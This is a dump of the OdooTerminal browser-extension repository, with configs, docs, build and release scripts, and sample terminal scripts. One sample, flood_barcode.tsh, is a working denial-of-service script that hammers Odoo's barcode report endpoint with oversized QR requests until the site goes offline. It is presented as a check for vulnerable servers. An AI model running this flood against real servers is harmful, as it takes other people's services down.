├── .editorconfig ├── .flowconfig ├── .github ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── workflows │ ├── codeql-analysis.yml │ └── tests.yml ├── .gitignore ├── .husky ├── pre-commit └── pre-push ├── .prettierignore ├── CHANGELOG.md ├── LICENSE ├── OdooTerminal.code-workspace ├── OdooTerminal.png ├── README.md ├── ROADMAP.md ├── _locales ├── en │ ├── messages.json │ └── translation.json └── es │ ├── messages.json │ └── translation.json ├── backups └── translation.es.json.tmp ├── docs ├── contributing.md ├── developing.md ├── recommendations.md ├── testing.md ├── translations.md └── trash.md ├── eslint.config.mjs ├── jest-puppeteer.config.cjs ├── manifest.json ├── package-lock.json ├── package.json ├── rollup.config.mjs ├── samples ├── clean_dead_modules.tsh ├── flood_barcode.tsh └── game_of_life.tsh ├── scripts ├── build.mjs └── release.mjs ├── src ├── css │ ├── options.css │ └── terminal.css ├── html │ └── options.html ├── img │ ├── terminal-128.png │ ├── terminal-16.png │ ├── terminal-32.png │ ├── terminal-48.png │ └── terminal-disabled-16.png └── js │ ├── common │ ├── constants.mjs │ ├── logger.mjs │ └── utils │ │ ├── is_compatible_odoo_version.mjs │ │ ├── post_message.mjs │ │ ├── process_keybind.mjs │ │ └── sanitize_odoo_version.mjs │ ├── flow-typed │ ├── flow_missed.js │ └── odoo.js │ ├── page │ ├── loader.mjs │ ├── odoo │ │ ├── base │ │ │ ├── do_action.mjs │ │ │ ├── do_call.mjs │ │ │ ├── do_trigger.mjs │ │ │ ├── execute_action.mjs │ │ │ ├── helpers.mjs │ │ │ └── show_effect.mjs │ │ ├── commands │ │ │ ├── backoffice │ │ │ │ ├── __all__.mjs │ │ │ │ ├── action.mjs │ │ │ │ ├── effect.mjs │ │ │ │ ├── lang.mjs │ │ │ │ ├── settings.mjs │ │ │ │ └── view.mjs │ │ │ └── common │ │ │ │ ├── __all__.mjs │ │ │ │ ├── __utils__.mjs │ │ │ │ ├── barcode.mjs │ │ │ │ ├── caf.mjs │ │ │ │ ├── call.mjs │ │ │ │ ├── cam.mjs │ │ │ │ ├── commit.mjs │ │ │ │ ├── context.mjs │ │ │ │ ├── copy.mjs │ │ │ │ ├── count.mjs │ │ │ │ ├── create.mjs │ │ │ │ ├── dblist.mjs │ │ │ │ ├── debug.mjs │ │ │ │ ├── depends.mjs │ │ │ │ ├── exportfile.mjs │ │ │ │ ├── gen.mjs │ │ │ │ ├── info.mjs │ │ │ │ ├── install.mjs │ │ │ │ ├── json.mjs │ │ │ │ ├── jstest.mjs │ │ │ │ ├── lastseen.mjs │ │ │ │ ├── login.mjs │ │ │ │ ├── logout.mjs │ │ │ │ ├── longpolling.mjs │ │ │ │ ├── metadata.mjs │ │ │ │ ├── notify.mjs │ │ │ │ ├── now.mjs │ │ │ │ ├── paste.mjs │ │ │ │ ├── post.mjs │ │ │ │ ├── read.mjs │ │ │ │ ├── ref.mjs │ │ │ │ ├── reload.mjs │ │ │ │ ├── renew_database.mjs │ │ │ │ ├── rollback.mjs │ │ │ │ ├── rpc.mjs │ │ │ │ ├── search.mjs │ │ │ │ ├── sysparam.mjs │ │ │ │ ├── tour.mjs │ │ │ │ ├── ual.mjs │ │ │ │ ├── uhg.mjs │ │ │ │ ├── uninstall.mjs │ │ │ │ ├── unlink.mjs │ │ │ │ ├── upgrade.mjs │ │ │ │ ├── url.mjs │ │ │ │ ├── version.mjs │ │ │ │ ├── whoami.mjs │ │ │ │ ├── write.mjs │ │ │ │ └── ws.mjs │ │ ├── constants.mjs │ │ ├── longpolling.mjs │ │ ├── net_utils │ │ │ ├── cached_call_model_multi.mjs │ │ │ ├── cached_call_service.mjs │ │ │ ├── cached_search_read.mjs │ │ │ ├── get_session_info.mjs │ │ │ ├── get_uid.mjs │ │ │ ├── get_username.mjs │ │ │ └── xml.mjs │ │ ├── orm │ │ │ ├── create_record.mjs │ │ │ ├── get_fields_info.mjs │ │ │ ├── search_count.mjs │ │ │ ├── search_read.mjs │ │ │ ├── unlink_record.mjs │ │ │ └── write_record.mjs │ │ ├── osv │ │ │ ├── call_model.mjs │ │ │ ├── call_model_multi.mjs │ │ │ └── call_service.mjs │ │ ├── parameter_generator.mjs │ │ ├── rpc.mjs │ │ ├── templates │ │ │ ├── metadata.mjs │ │ │ ├── record_created.mjs │ │ │ ├── welcome.mjs │ │ │ ├── whoami.mjs │ │ │ └── whoami_group_item.mjs │ │ ├── terminal.mjs │ │ └── utils │ │ │ ├── get_content.mjs │ │ │ ├── get_odoo_env.mjs │ │ │ ├── get_odoo_env_service.mjs │ │ │ ├── get_odoo_root.mjs │ │ │ ├── get_odoo_service.mjs │ │ │ ├── get_odoo_session.mjs │ │ │ ├── get_odoo_user.mjs │ │ │ ├── get_odoo_version.mjs │ │ │ ├── get_odoo_version_info.mjs │ │ │ ├── get_owl_version_major.mjs │ │ │ ├── get_parent_adapter.mjs │ │ │ ├── get_url_info.mjs │ │ │ ├── get_user_tz.mjs │ │ │ ├── is_backoffice.mjs │ │ │ └── is_public_user.mjs │ ├── terminal │ │ ├── commands │ │ │ ├── __all__.mjs │ │ │ ├── alias.mjs │ │ │ ├── chrono.mjs │ │ │ ├── clear.mjs │ │ │ ├── context_term.mjs │ │ │ ├── dis.mjs │ │ │ ├── exportvar.mjs │ │ │ ├── genfile.mjs │ │ │ ├── help.mjs │ │ │ ├── input.mjs │ │ │ ├── jobs.mjs │ │ │ ├── load.mjs │ │ │ ├── print.mjs │ │ │ ├── run.mjs │ │ │ └── toggle_term.mjs │ │ ├── core │ │ │ ├── command_assistant.mjs │ │ │ ├── recordset.mjs │ │ │ ├── screen.mjs │ │ │ └── storage │ │ │ │ ├── local.mjs │ │ │ │ └── session.mjs │ │ ├── exceptions │ │ │ ├── element_not_found_error.mjs │ │ │ ├── element_not_found_template_error.mjs │ │ │ ├── invalid_element_template_error.mjs │ │ │ ├── process_job_error.mjs │ │ │ └── too_many_elements_template_error.mjs │ │ ├── libs │ │ │ └── graphics │ │ │ │ ├── 2d_clear.mjs │ │ │ │ ├── 2d_create_window.mjs │ │ │ │ ├── 2d_destroy_window.mjs │ │ │ │ ├── 2d_line.mjs │ │ │ │ ├── 2d_rect.mjs │ │ │ │ ├── 2d_text.mjs │ │ │ │ └── __all__.mjs │ │ ├── shell.mjs │ │ ├── templates │ │ │ ├── error_message.mjs │ │ │ ├── help_command.mjs │ │ │ ├── prompt_command.mjs │ │ │ ├── prompt_command_hidden_args.mjs │ │ │ ├── screen.mjs │ │ │ ├── screen_assistant_panel.mjs │ │ │ ├── screen_assistant_panel_arg_option_item.mjs │ │ │ ├── screen_assistant_panel_arg_option_list.mjs │ │ │ ├── screen_line.mjs │ │ │ ├── screen_table.mjs │ │ │ ├── screen_table_cell_record.mjs │ │ │ ├── screen_table_cell_record_id.mjs │ │ │ ├── screen_user_input.mjs │ │ │ ├── terminal.mjs │ │ │ └── welcome.mjs │ │ ├── terminal.mjs │ │ └── utils │ │ │ ├── async_sleep.mjs │ │ │ ├── check_storage_error.mjs │ │ │ ├── csv.mjs │ │ │ ├── debounce.mjs │ │ │ ├── defer.mjs │ │ │ ├── encode_html.mjs │ │ │ ├── file2base64.mjs │ │ │ ├── file2file.mjs │ │ │ ├── gen_color_from_string.mjs │ │ │ ├── gen_hash.mjs │ │ │ ├── get_color_gray_value.mjs │ │ │ ├── hex2rgb.mjs │ │ │ ├── hsl2rgb.mjs │ │ │ ├── inject_resource.mjs │ │ │ ├── keycode.mjs │ │ │ ├── parse_html.mjs │ │ │ ├── pretty_object_string.mjs │ │ │ ├── rgb2hsl.mjs │ │ │ ├── save2file.mjs │ │ │ ├── stringify_replacer.mjs │ │ │ ├── unescape_quotes.mjs │ │ │ ├── unique.mjs │ │ │ └── unique_id.mjs │ ├── tests │ │ ├── terminal.mjs │ │ ├── test_backend.mjs │ │ ├── test_common.mjs │ │ ├── test_core.mjs │ │ ├── test_trash.mjs │ │ └── tests.mjs │ ├── trash │ │ ├── argument.mjs │ │ ├── constants.mjs │ │ ├── exceptions │ │ │ ├── invalid_command_argument_format_error.mjs │ │ │ ├── invalid_command_argument_value_error.mjs │ │ │ ├── invalid_command_arguments_error.mjs │ │ │ ├── invalid_command_definition_error.mjs │ │ │ ├── invalid_instruction_error.mjs │ │ │ ├── invalid_name_error.mjs │ │ │ ├── invalid_token_error.mjs │ │ │ ├── invalid_value_error.mjs │ │ │ ├── not_calleable_name_error.mjs │ │ │ ├── not_expected_command_argument_error.mjs │ │ │ ├── undefined_value_error.mjs │ │ │ ├── unknown_command_error.mjs │ │ │ ├── unknown_name_error.mjs │ │ │ └── unknown_store_value.mjs │ │ ├── frame.mjs │ │ ├── function.mjs │ │ ├── instruction.mjs │ │ ├── interpreter.mjs │ │ ├── libs │ │ │ ├── math │ │ │ │ ├── __all__.mjs │ │ │ │ ├── abs.mjs │ │ │ │ ├── fixed.mjs │ │ │ │ ├── floor.mjs │ │ │ │ └── rand.mjs │ │ │ ├── net │ │ │ │ ├── __all__.mjs │ │ │ │ └── fetch.mjs │ │ │ └── time │ │ │ │ ├── __all__.mjs │ │ │ │ ├── pnow.mjs │ │ │ │ └── sleep.mjs │ │ ├── tl │ │ │ └── array.mjs │ │ ├── utils │ │ │ ├── count_by.mjs │ │ │ ├── difference.mjs │ │ │ ├── is_empty.mjs │ │ │ ├── is_falsy.mjs │ │ │ ├── is_number.mjs │ │ │ ├── pluck.mjs │ │ │ └── unique_id.mjs │ │ └── vmachine.mjs │ └── volatile │ │ └── instance_analyzer.mjs │ ├── private │ ├── background.mjs │ ├── legacy │ │ └── content_script.js │ └── options.mjs │ └── shared │ ├── constants.mjs │ ├── content_script.mjs │ ├── context.mjs │ ├── injector.mjs │ ├── storage.mjs │ └── tabs.mjs ├── tests ├── docker │ └── docker-compose.yaml ├── extension.test.js ├── jest-global-setup.js └── jest-global-teardown.js └── themes ├── dark.json ├── light.json ├── matrix.json └── odoo.json /.editorconfig: -------------------------------------------------------------------------------- 1 | # Configuration for known file extensions 2 | [*.{css,js,mjs,json,md,xml,yaml,yml}] 3 | charset = utf-8 4 | end_of_line = lf 5 | indent_size = 4 6 | indent_style = space 7 | insert_final_newline = true 8 | trim_trailing_whitespace = true 9 | 10 | [*.{json,yml,yaml,md,js,mjs}] 11 | indent_size = 2 12 | -------------------------------------------------------------------------------- /.flowconfig: -------------------------------------------------------------------------------- 1 | [ignore] 2 | 3 | [include] 4 | 5 | [libs] 6 | src/js/flow-typed 7 | 8 | [lints] 9 | 10 | [options] 11 | module.system.node.resolve_dirname=node_modules 12 | module.name_mapper='^@common' -> '/src/js/common' 13 | module.name_mapper='^@shared' -> '/src/js/shared' 14 | module.name_mapper='^@odoo' -> '/src/js/page/odoo' 15 | module.name_mapper='^@terminal' -> '/src/js/page/terminal' 16 | module.name_mapper='^@trash' -> '/src/js/page/trash' 17 | module.name_mapper='^@tests' -> '/src/js/page/tests' 18 | 19 | [strict] 20 | nonstrict-import 21 | unclear-type 22 | unsafe-getters-setters 23 | untyped-import 24 | untyped-type-import 25 | sketchy-null -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: "[BUG] " 5 | labels: bug 6 | assignees: '' 7 | 8 | --- 9 | 10 | First of all, check that you are using the latest version. 11 | 12 | **Basic Info. (please complete the following information):** 13 | - Odoo version: [e.g. 13.0] 14 | - Browser: [e.g. chrome, firefox] 15 | - Command: `[e.g. call -m res.currency -c foo]` 16 | 17 | **Describe the bug** 18 | A clear and concise description of what the bug is. 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Additional context** 27 | Add any other context about the problem here. 28 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: enhancement 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | # For most projects, this workflow file will not need changing; you simply need 2 | # to commit it to your repository. 3 | # 4 | # You may wish to alter this file to override the set of languages analyzed, 5 | # or to provide custom queries or build logic. 6 | # 7 | # ******** NOTE ******** 8 | # We have attempted to detect the languages in your repository. Please check 9 | # the `language` matrix defined below to confirm you have the correct set of 10 | # supported CodeQL languages. 11 | # 12 | name: "CodeQL" 13 | 14 | on: 15 | push: 16 | branches: [ master ] 17 | pull_request: 18 | # The branches below must be a subset of the branches above 19 | branches: [ master ] 20 | schedule: 21 | - cron: '36 12 * * 2' 22 | 23 | jobs: 24 | analyze: 25 | name: Analyze 26 | runs-on: ubuntu-latest 27 | permissions: 28 | actions: read 29 | contents: read 30 | security-events: write 31 | 32 | strategy: 33 | fail-fast: false 34 | matrix: 35 | language: [ 'javascript' ] 36 | # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ] 37 | # Learn more about CodeQL language support at https://git.io/codeql-language-support 38 | 39 | steps: 40 | - name: Checkout repository 41 | uses: actions/checkout@v2 42 | 43 | # Initializes the CodeQL tools for scanning. 44 | - name: Initialize CodeQL 45 | uses: github/codeql-action/init@v2 46 | with: 47 | languages: ${{ matrix.language }} 48 | # If you wish to specify custom queries, you can do so here or in a config file. 49 | # By default, queries listed here will override any specified in a config file. 50 | # Prefix the list here with "+" to use these queries and those in the config file. 51 | # queries: ./path/to/local/query, your-org/your-repo/queries@main 52 | 53 | - name: Perform CodeQL Analysis 54 | uses: github/codeql-action/analyze@v2 55 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Distribution extension package 2 | OdooTerminal.zip 3 | /dist 4 | 5 | # Virtualenv 6 | .env/ 7 | 8 | # Caches 9 | .wdm/ 10 | /node_modules 11 | .pytest_cache/ 12 | 13 | # Test logs 14 | *.log 15 | 16 | # Byte-compiled / optimized 17 | __pycache__/ 18 | *.py[cod] 19 | -------------------------------------------------------------------------------- /.husky/pre-commit: -------------------------------------------------------------------------------- 1 | npx lint-staged 2 | -------------------------------------------------------------------------------- /.husky/pre-push: -------------------------------------------------------------------------------- 1 | npx -c "web-ext lint --ignore-files=src/js/**" 2 | -------------------------------------------------------------------------------- /.prettierignore: -------------------------------------------------------------------------------- 1 | .* 2 | node_modules 3 | dist 4 | *.code-workspace 5 | *.lock 6 | *.toml 7 | package-lock.json 8 | *.py 9 | *.png 10 | *.tsh 11 | *.tmp 12 | LICENSE -------------------------------------------------------------------------------- /OdooTerminal.code-workspace: -------------------------------------------------------------------------------- 1 | { 2 | "folders": [ 3 | { 4 | "path": "src/css", 5 | "name": "CSS", 6 | }, 7 | { 8 | "path": "src/html", 9 | "name": "HTML", 10 | }, 11 | { 12 | "path": "src/js", 13 | "name": "JS", 14 | }, 15 | { 16 | "path": "tests", 17 | "name": "Tests", 18 | }, 19 | { 20 | "path": "scripts", 21 | "name": "Scripts", 22 | }, 23 | { 24 | "path": "_locales", 25 | "name": "i18n", 26 | }, 27 | { 28 | "path": "themes", 29 | "name": "Themes", 30 | }, 31 | { 32 | "path": ".", 33 | "name": "OdooTerminal - Root" 34 | } 35 | ], 36 | "settings": { 37 | "javascript.validate.enable": false, 38 | "flow.enabled": true, 39 | "flow.useNPMPackagedFlow": true, 40 | "jest.runMode": "on-demand", 41 | "jest.jestCommandLine": "yarn test", 42 | "jest.virtualFolders": [ 43 | {"name": "integration-tests", "runMode": "on-demand", "jestCommandLine": "npm test"} 44 | ] 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /OdooTerminal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tardo/OdooTerminal/5cefc8ac9b60385802ba7e20273337c67e7b2218/OdooTerminal.png -------------------------------------------------------------------------------- /ROADMAP.md: -------------------------------------------------------------------------------- 1 | # Roadmap 2 | 3 | ``` 4 | - Solve some boostrap "glitches" printing error section in 11.0 (Because Terminal uses BS4 and 11.0 BS3) 5 | - Remove extension storage data after uninstall (chrome doesn't have any 'event' to handle this) 6 | - Use some kind of mock to cover all commands in tests (See Untested Commands section in docs/testing.md) 7 | - Explicity define the states for the state machine... sounds like a good idea uh? 8 | - Use better english... 9 | - Use less flow generic types 10 | ``` 11 | -------------------------------------------------------------------------------- /docs/contributing.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | ## Husky 4 | 5 | If you want collaborate, you need this to make octocat happy. 6 | 7 | #### Installation 8 | 9 | `husky` need be initialized: 10 | 11 | ``` 12 | npm install 13 | ``` 14 | 15 | #### Usage 16 | 17 | After install, when you do a commit all linters, prettiers, etc.. will run 18 | automatically ;) 19 | 20 | If one step fails the commit will be cancelled, try do it again (surely husky 21 | was changed some files, no problem, it's his job, add them again). 22 | -------------------------------------------------------------------------------- /docs/developing.md: -------------------------------------------------------------------------------- 1 | ## Developing 2 | 3 | ### Installation 4 | 5 | - Required system tools: 6 | ``` 7 | apt-get install npm 8 | npm install --global npm 9 | ``` 10 | - Project Dependencies: 11 | ``` 12 | npm install 13 | ``` 14 | \*\* This will also prepare the project 15 | 16 | ### Usage 17 | 18 | Initialize development tools... This will build the extension as the code is modified: 19 | 20 | ``` 21 | npm run dev:rollup:watch 22 | ``` 23 | 24 | ### Load Extension 25 | 26 | #### Using Custom Environment 27 | 28 | - Chromium/Chrome: 29 | 1. Go to `chrome://extensions/`. 30 | 2. At the top right, turn on `Developer mode`. 31 | 3. Click `Load unpacked`. 32 | 4. Find and select the app or extension folder. 33 | 5. Open a new tab in Chrome > click `Apps` > click the app or extension. Make sure it loads and works correctly. 34 | - Firefox: 35 | 1. Open the `about:debugging` page 36 | 2. Click the `This Firefox` option 37 | 3. click the `Load Temporary Add-on` button, then select any file in the extension directory. 38 | 39 | #### Using Web-Ext Environment 40 | 41 | - Chromium: 42 | ```sh 43 | npm run start:chromium 44 | ``` 45 | - Chrome: 46 | ```sh 47 | npm run start:chrome 48 | ``` 49 | - Firefox: 50 | ```sh 51 | npm run start:firefox 52 | ``` 53 | -------------------------------------------------------------------------------- /docs/recommendations.md: -------------------------------------------------------------------------------- 1 | ## Display the model name and id of the active document 2 | 3 | - Go to the options of the extension. 4 | - Add the following code in the 'Init Commands' section: 5 | `function showActiveModelID() { notify -m "Model: " + $$RMOD + " [ID: " + $$RID + "]" -t "Active model/id information" --type info }`. 6 | - Define a keyboard shortcut for the command `showActiveModelID`. 7 | - Save changes. 8 | -------------------------------------------------------------------------------- /docs/testing.md: -------------------------------------------------------------------------------- 1 | ## Integration Tests 2 | 3 | #### Installation 4 | 5 | ``` 6 | apt-get install npm 7 | npm install --global npm 8 | npm install 9 | ``` 10 | 11 | #### Usage 12 | 13 | ``` 14 | export ODOO_VERSION=18.0 15 | export PUPPETEER_BROWSER=chrome 16 | npm run test 17 | ``` 18 | 19 | \*\* Available browsers: chromium, chrome (Maybe, someday it will be possible to install the extension in firefox using 20 | puppeteer) 21 | 22 | \*\* Avaiblable versions: 11.0, 12.0, 13.0, 14.0, 15.0, 16.0, 17.0, 18.0 23 | 24 | ## Unit Tests 25 | 26 | **All**: `document.querySelector(".o_terminal").dispatchEvent(new Event('start_terminal_tests'))` 27 | 28 | **Selected (Example: whoami and search)** 29 | `document.querySelector(".o_terminal").dispatchEvent(new CustomEvent('start_terminal_tests', {detail:'test_whoami,test_search'}))` 30 | 31 | #### Untested Commands 32 | 33 | - clear 34 | - exportfile 35 | - reload 36 | - debug 37 | - post 38 | - jstest 39 | - tour (partial) 40 | - logout 41 | - lang 42 | - login 43 | - copy 44 | - paste 45 | -------------------------------------------------------------------------------- /docs/translations.md: -------------------------------------------------------------------------------- 1 | # Modify an existing language 2 | 3 | Go to `_locales` folder, select the language and edit the `.json` files. 4 | 5 | # Add a new language 6 | 7 | 1. Edit `package.json / babel / plugins / "i18next-extract" / locales` to include the new language tag. 8 | 2. Edit `src / js / page / loader.mjs / function initTranslations / supportedLngs` to include the new language tag. 9 | 3. Edit `src / html / options.hml` to include the new language tag. 10 | 4. Run `npm install` (If the project is already installed, skip this step.) 11 | 5. Run `npm run dev:rollup` 12 | 6. Edit `_locales / / *.json` files 13 | 14 | \*\* You can use https://r12a.github.io/app-subtags/ to `check` if the new language tag is valid. 15 | 16 | **IMPORTANT:** Hyphen-separated tags must use 'underscore' (ex. en-US --must be--> en_US). 17 | 18 | **MORE IMPORTANT:** Do not rely on the translation export system. ALWAYS work with a backup file (you can use the 19 | 'backups' folder of the project). You take the risk of losing the entire translation. 20 | -------------------------------------------------------------------------------- /jest-puppeteer.config.cjs: -------------------------------------------------------------------------------- 1 | const path = require('path'); 2 | 3 | /** @type {import('jest-environment-puppeteer').JestPuppeteerConfig} */ 4 | module.exports = { 5 | launch: { 6 | dumpio: true, 7 | headless: process.env.PUPPETEER_HEADLESS !== 'false', 8 | product: process.env.PUPPETEER_BROWSER || 'chrome', 9 | protocol: 'webDriverBiDi', 10 | args: [ 11 | '--no-sandbox', 12 | '--disable-setuid-sandbox', 13 | `--disable-extensions-except=${path.resolve(__dirname)}`, 14 | `--load-extension=${path.resolve(__dirname)}`, 15 | ], 16 | }, 17 | }; 18 | -------------------------------------------------------------------------------- /manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "background": { 3 | "service_worker": "dist/priv/background.mjs", 4 | "scripts": ["dist/priv/background.mjs"], 5 | "type": "module" 6 | }, 7 | "action": { 8 | "default_icon": "src/img/terminal-disabled-16.png", 9 | "default_title": "OdooTerminal (CTRL + ,)" 10 | }, 11 | "browser_specific_settings": { 12 | "gecko": { 13 | "id": "{cdfbfc50-7cbf-4044-a6fb-cdef5056605c}" 14 | } 15 | }, 16 | "content_scripts": [ 17 | { 18 | "js": ["dist/priv/content_script.js"], 19 | "matches": ["https://*/*", "http://*/*"], 20 | "run_at": "document_idle" 21 | } 22 | ], 23 | "description": "__MSG_extensionDescription__", 24 | "icons": { 25 | "16": "src/img/terminal-16.png", 26 | "32": "src/img/terminal-32.png", 27 | "48": "src/img/terminal-48.png", 28 | "128": "src/img/terminal-128.png" 29 | }, 30 | "commands": { 31 | "_execute_action": { 32 | "suggested_key": { 33 | "default": "Ctrl+Comma" 34 | } 35 | } 36 | }, 37 | "manifest_version": 3, 38 | "default_locale": "en", 39 | "name": "OdooTerminal", 40 | "options_ui": { 41 | "page": "src/html/options.html", 42 | "open_in_tab": true 43 | }, 44 | "permissions": ["activeTab", "storage"], 45 | "short_name": "OdooTerminal", 46 | "version": "11.9.1", 47 | "web_accessible_resources": [ 48 | { 49 | "resources": ["dist/pub/**", "_locales/**/translation.json"], 50 | "matches": [""] 51 | } 52 | ] 53 | } 54 | -------------------------------------------------------------------------------- /samples/clean_dead_modules.tsh: -------------------------------------------------------------------------------- 1 | // min-v 11.5.0; group system 2 | // Removes modules that doesn't exists anymore... 3 | // WARNING: This is destructive!! Installed modules can't be removed, but act prudently. 4 | 5 | print "Searching modules..." 6 | $mods = (search ir.module.module -f icon,display_name -d [['state', '=', 'uninstalled']]) 7 | $dmods = (arr_filter $mods function(item) { 8 | $ficon = (fetch -u $item['icon'] -o {method: 'HEAD'}) 9 | return ($ficon['status'] != 200) 10 | }) 11 | $dmods_len = $dmods['length'] 12 | if ($dmods_len == 0) { 13 | print "Nothing to do :)" 14 | return -1 15 | } 16 | print "Modules to remove:" 17 | print (arr_map $dmods function(item) { return $item['display_name'] }) 18 | $do = (input -q 'Remove ' + $dmods_len + ' modules?' -c ['y','n'] -d 'n') 19 | if ($do == 'y') { 20 | print "Removing modules..." 21 | $rids = (arr_map $dmods function(item) { return $item['id'] }) 22 | $fails = [] 23 | for ($i = 0; $i < $dmods_len; $i += 1) { 24 | $rid = $rids[$i] 25 | $res = (unlink -m ir.module.module -i $rid) 26 | if (!$res) { 27 | arr_append $fails $rid 28 | } 29 | } 30 | $fails_count = $fails['length'] 31 | print ($dmods_len - $fails_count) + ' of ' + $dmods_len + ' modules deleted!' 32 | if ($fails_count != 0) { 33 | print "Errors:" 34 | print $fails 35 | } 36 | } else { 37 | print "Aborted!" 38 | } -------------------------------------------------------------------------------- /samples/flood_barcode.tsh: -------------------------------------------------------------------------------- 1 | // min-v 11.5.0; group none 2 | // Barcode Flood 3 | // What is shown here was reported to Odoo (but ignored as it was not considered important). 4 | // You can use this script to determine if any action is required on your server to mitigate the problem. 5 | 6 | $odoo_ver = (version) 7 | print "Determining vulnerable location..." 8 | $vuln_location = '' 9 | for ($i = 20000; $i > 0; $i -= 100) { 10 | $full_vuln_location = '' 11 | if ($odoo_ver[0] < 16) { 12 | $full_vuln_location = '/report/barcode/?type=QR&value=DoSed&width=' + $i + '&height=' + $i 13 | } else { 14 | $full_vuln_location = '/report/barcode/QR/DoSed?width=' + $i + '&height=' + $i 15 | } 16 | print $full_vuln_location 17 | $resp = (fetch -u $full_vuln_location -o {method: 'GET'} -t 3000) 18 | if ($resp && $resp['status'] == 200) { 19 | $vuln_location = $full_vuln_location 20 | break 21 | } elif ($resp == null) { 22 | print "Website offline! (Has endured less than expected :S)" 23 | return -1 24 | } 25 | } 26 | 27 | if (!$vuln_location) { 28 | print "Can't determine the location... aborting!" 29 | return -1 30 | } 31 | 32 | print 'Used location: ' + $vuln_location 33 | $count = 1 34 | for (;1;) { 35 | print 'Sending request #' + $count + '...' 36 | $resp = (fetch -u $full_vuln_location -o {method: 'GET'} -t 100) 37 | if ($resp && $resp['status'] != 200) { 38 | print "Website offline! (Proxied)" 39 | break 40 | } elif ($resp == null) { 41 | print "Website offline!" 42 | break 43 | } 44 | $count += 1 45 | } 46 | -------------------------------------------------------------------------------- /scripts/build.mjs: -------------------------------------------------------------------------------- 1 | // Copyright Alexandre Díaz 2 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 3 | 4 | import {execSync} from 'child_process'; 5 | import AdmZip from 'adm-zip'; 6 | import {rimraf} from 'rimraf'; 7 | 8 | const ZIP_NAME = 'OdooTerminal'; 9 | 10 | function removeDist() { 11 | rimraf.sync('./dist'); 12 | } 13 | 14 | function execRollup() { 15 | execSync('rollup -c'); 16 | } 17 | 18 | function createZipArchive() { 19 | const zip = new AdmZip(); 20 | const outputFile = `${ZIP_NAME}.zip`; 21 | 22 | zip.addLocalFolder('./src/html', './src/html'); 23 | zip.addLocalFolder('./src/img', './src/img'); 24 | zip.addLocalFolder('./dist', './dist'); 25 | zip.addLocalFolder('./_locales', './_locales'); 26 | zip.addLocalFolder('./themes', './themes'); 27 | zip.addLocalFile('manifest.json'); 28 | zip.addLocalFile('README.md'); 29 | zip.writeZip(outputFile); 30 | } 31 | 32 | removeDist(); 33 | execRollup(); 34 | createZipArchive(); 35 | 36 | console.log(`Build ${ZIP_NAME} successfully completed`); 37 | -------------------------------------------------------------------------------- /scripts/release.mjs: -------------------------------------------------------------------------------- 1 | // Copyright Alexandre Díaz 2 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 3 | 4 | import fs from 'fs'; 5 | import {simpleGit} from 'simple-git'; 6 | import minimist from 'minimist'; 7 | 8 | function getCurrentVersion() { 9 | const data = fs.readFileSync('./manifest.json', 'utf-8'); 10 | const groups = data.match(/"version": "(\d+\.\d+\.\d+)"/); 11 | if (groups && groups.length > 1) { 12 | return groups[1].split('.').map(item => Number(item)); 13 | } 14 | return [0, 0, 0]; 15 | } 16 | 17 | function replaceFileVersion(filepath, cregex, nvalue) { 18 | let data = fs.readFileSync(filepath, 'utf-8'); 19 | data = data.replace(cregex, nvalue); 20 | fs.writeFileSync(filepath, data, 'utf-8'); 21 | } 22 | 23 | function update_version(mode) { 24 | let extension_ver = getCurrentVersion(); 25 | if (mode === 'major') { 26 | extension_ver[0] = extension_ver[0] + 1; 27 | extension_ver[1] = 0; 28 | extension_ver[2] = 0; 29 | } else if (mode === 'minor') { 30 | extension_ver[1] = extension_ver[1] + 1; 31 | extension_ver[2] = 0; 32 | } else { 33 | extension_ver[2] = extension_ver[2] + 1; 34 | } 35 | extension_ver = extension_ver.join('.'); 36 | 37 | // manifest.json 38 | replaceFileVersion( 39 | './manifest.json', 40 | /"version": "\d+\.\d+\.\d+"/, 41 | `"version": "${extension_ver}"`, 42 | ); 43 | // abstract_terminal.js 44 | replaceFileVersion( 45 | './src/js/page/terminal/terminal.mjs', 46 | /VERSION\s?=\s?'\d+\.\d+\.\d+'/, 47 | `VERSION = '${extension_ver}'`, 48 | ); 49 | 50 | return extension_ver; 51 | } 52 | 53 | async function gitPush(extension_ver) { 54 | const git = simpleGit(); 55 | 56 | await git.add('.'); 57 | await git.commit(`[REL] Version ${extension_ver}`); 58 | await git.push('origin', 'master'); 59 | await git.addAnnotatedTag( 60 | `v${extension_ver}`, 61 | `Automatic tag '${extension_ver}'`, 62 | ); 63 | await git.pushTags('origin'); 64 | } 65 | 66 | const argv = minimist(process.argv.slice(2)); 67 | 68 | const valid_modes = ['major', 'minor', 'patch']; 69 | if (!argv.mode || !valid_modes.includes(argv.mode)) { 70 | console.error('Invalid mode. Valid modes are: major, minor, patch'); 71 | process.exit(1); 72 | } 73 | 74 | const nver = update_version(argv.mode); 75 | if (argv.git) { 76 | await gitPush(nver); 77 | } 78 | 79 | console.log(`Release '${nver}' successfully done`); 80 | -------------------------------------------------------------------------------- /src/css/options.css: 